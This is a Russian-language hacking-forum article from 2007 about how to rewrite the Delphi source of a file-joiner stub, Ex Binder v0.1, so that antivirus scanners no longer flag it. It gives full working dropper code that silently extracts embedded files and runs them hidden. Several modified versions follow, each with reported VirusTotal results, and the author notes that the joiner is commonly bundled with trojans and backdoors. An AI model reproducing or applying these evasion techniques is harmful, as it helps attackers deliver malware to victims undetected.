Авторские статьи Имеешь исходники - криптор не нужен

Discussion in 'Статьи' started by begin_end, 8 Apr 2007.

  1. begin_end

    begin_end Green member

    Joined:
    4 Jan 2007
    Messages:
    265
    Likes Received:
    638
    Reputations:
    476
    Цель данной статьи – показать, каким образом изменения, внесённые в исходный код программы влияют на уровень её распознавабельности антивирусным ПО. А также привести примеры разных видов изменений исходного кода на определённом образце – стабе джоинера Ex Binder v0.1 (Author: TM).

    Статья рассчитана на специфичную аудиторию, материал статьи потребует для освоения и применения наличие Дельфи (не обязательно полного, нужен лишь компилятор [1]), знания синтаксиса Дельфи, собственно сами исходные коды разного рода ПО.

    Терминология:
    Дельфи – среда визуальной разработки приложений, а с версии 7, ещё и одноименный язык программирования.
    Джоинер – ПО, предназначенное для контейнирования в одном файле нескольких файлов, с возможностью их запуска по запуску файла-контейнера.
    Стаб – контейнер джоинера в чистом виде (без файлов).


    Проверим файл-стаб джоинера на virustotal.com. Он получен в результате компиляции неизменённого авторского исходника Ex Binder v0.1.
    Сорец:
    Code:
    {A very Lite stub for extraction and execution of multiple files.
     Author: TM
    }
    program Stub;
    
    uses
      Windows, ShellApi;
    
    function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
    var
      Info, FH, BW:DWORD;
    begin
      Result:= True;
      Info:= FindResource(0, lpName, lpType);
      FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
      CloseHandle(FH);
      ShellExecute(0, 'OPEN', PChar('C:\'+lpName), '', '', 0);
    end;
    
    begin
      EnumResourceNames(0, RT_RCDATA, @EnumNamesFunc, 0);
    end.
    Результат проверки (только положительные ответы):
    Данный джоинер один из самых простых. Он основан на хранении файлов в ресурсах программы-контейнера. При запуске следует извлечение ресурсов и их запуск. Почему же это приложение определилось некоторыми антивирусами, не как Joiner/Dropper, а как троян? Дело в том, что при использовании, это приложение попадало для анализа склеенным с именно тем определяемым видом вируса (Trojan, Backdoor). Вероятно, система анализа, либо программисты-аналитики были не очень щепетильны, либо сочли не нужным уточнять вид вируса. Так или иначе, сигнатуры кода джоинера добавились в базу с этими данными.

    Итак, что же можно сделать, для устранения этих неприятных строчек? Я слышал, многие советуют «добавить мусор» в конец кода программы. Что ж. Добавим 30Кб случайных символов. Результат проверки:
    Число определивших антивирусов от проведённой операции меньше не стало. Так что «мусор» не поможет. Ещё, бывает, советуют запаковать. Хорошо. Пакуем UPX 1.95. Результат:
    Этот результат может удивить. Теперь вирус видят уже 12 антивирусов. Так что способ совсем не годится. Все современные антивирусы могут распаковывать упакованное любым известным (не свежим) пакером/компрессором. Но почему возросло число? Ответ прост, если помыслить логически то можно предположить, что многие паковали джоинер с вирусом с помощью UPX, дабы уменьшить размер. Не пакованный джоинер антивирусным программам менее знаком.
    А теперь применим все наши познания Дельфи и произведём следующее: изменение исходного кода джоинера. Сделаем самое простое: вынос процедуры. А какую процедуру выберем? А самую последнюю – ShellExecute. Уберём её из function EnumNamesFunc. Создадим procedure Run(nn:string); и в неё вставим ShellExecute с передачей нужного параметра nn:string. Получим следующее:
    Code:
    program Stub;
    uses  Windows, ShellApi;
    
    procedure Run(nn:string);
    begin
     ShellExecute(0, 'OPEN', PChar('C:\'+nn), '', '', 0);
    end;
    
    function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
    var
      Info, FH, BW:DWORD;
    begin
      Result:= True;
      Info:= FindResource(0, lpName, lpType);
      FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
      CloseHandle(FH);
      Run(lpName);
    end;
    
    begin
      EnumResourceNames(0, RT_RCDATA, @EnumNamesFunc, 0);
    end.
    Проверим, и вот результат:
    Правда, неплохо? Panda заставить замолчать полностью не удастся, но Ikarus мы убрать должны. А что ещё можно сделать с исходником? Предложу ещё три примера развития модификации исходного кода. Это полубессмысленное использование схожей с ShellExecute функции, бессмысленное построение цепочки процедур и бессмысленное добавление модуля. Но скажу, что всё сразу это делать не стоит. Какова должна быть последовательность ваших действий? Сначала применяем первое, не палится – отлично. Стало палиться – второе. Снова стало – первое и второе сразу. Потом третье и т.д. – по вашей фантазии и навыкам Дельфи-кодинга.

    1. Творчество. Добавим функцию winexec совместно с shellexecute, однако только для файлов с расширением com, exe, src. Расширение же выделим с помощью ExtractExt. Исходник:
    Code:
    program Stub;
    uses  Windows, ShellApi;
    
    function ExtractExt(extrpath:string):string;
    var epl:integer;
    begin
    epl:=length(extrpath);
    if epl>3 then
     begin
      Result:=extrpath[epl-2]+extrpath[epl-1]+extrpath[epl];
     end else Result:='';
    end;
    
    procedure exefile(fn:PChar);
    begin
     if ((ExtractExt(fn)='com') or (ExtractExt(fn)='exe') or (ExtractExt(fn)='scr')) then winexec(PChar('C:\'+fn),1) else
     shellexecute( 0 , 'OPEN' , PChar('C:\'+fn) , '' , '' , 0 );
    end;
    
    function ENF(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
    var
      Info, FH, BW:DWORD;
    begin
      Result:= True;
      Info:= FindResource(0, lpName, lpType);
      FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
      CloseHandle(FH);
      exefile(lpName);
    end;
    
    begin
      EnumResourceNames(0, RT_RCDATA, @ENF, 0);
    end.
    После этой операции, как и последующих, только Panda говорит о подозрительном файле.
    2. Далее вставим цепочку бессмысленных процедур и вызовем ещё пару windows-функций.
    Code:
    program Stub;
    uses  Windows, ShellApi;
    
    procedure fun3();
    begin
     MessageBox(0,'','',0);
    end;
    
    procedure fun2;
    begin
     fun3;
    end;
    
    procedure fun1(inco:integer);
    begin
     if inco=3 then fun2;
    end;
    
    function ExtractExt
    -\\-
    
    procedure exefile(fn:PChar);
    begin
     if ((ExtractExt(fn)='com') or (ExtractExt(fn)='exe') or (ExtractExt(fn)='scr')) then winexec(PChar('C:\'+fn),1) else
     shellexecute( 0 , 'OPEN' , PChar('C:\'+fn) , '' , '' , 0 );
     Randomize;
     fun1(Random(1));
    end;
    
    function ENF
    -\\-
    
    begin
      EnumResourceNames(0, RT_RCDATA, @ENF, 0);
    end.
    3. А потом подключим модули, прямо в ненужных процедурах:
    Code:
    program Stub;
    uses  Windows, ShellApi, TlHelp32;
    
    procedure fun3();
    begin
     MessageBox(0,'','',0);
     CreateToolhelp32Snapshot(0,0);
     DragAcceptFiles(0,true);
    end;
    
    procedure fun2;
    begin
     fun3;
     DragAcceptFiles(0,true);
    end;
    
    procedure fun1(inco:integer);
    begin
     if inco=3 then fun2;
     CreateToolhelp32Snapshot(0,0);
    end;
    
    function ExtractExt
    -\\-
    
    procedure exefile
    -\\-
    
    function ENF
    -\\-
    
    begin
      EnumResourceNames(0, RT_RCDATA, @ENF, 0);
    end.
    После таких операций [2], что было неоднократно проверено, определяемость антивирусами даже самого палящегося ПО исчезает.

    Заключение.
    Статья и примеры ПО были созданы исключительно в учебно-демонстративных целях. Статья зародилась в ходе работы автора над исходными кодами джоинеров, выложенных в теме [3]. В ходе работы примером служил джоинер Ex Binder v0.1 от TM с последовательными изменениями от меня. Статью (как и исходный код) можно дополнять, переопубликовывать, ссылаясь на первоисточник, указывая автора.

    Список ссылок.
    1. SmallDelphi, для решения вопроса компиляции исходников на Дельфи.
    2. Все, приведённые в статье исходные коды, логи проверки и бинарники.
    3. Некоторые джоинеры (тема), исходные коды которых подверглись описанной обработке.
     
    _________________________
    Shad0wl0rd, dimhee, F!$T and 23 others like this.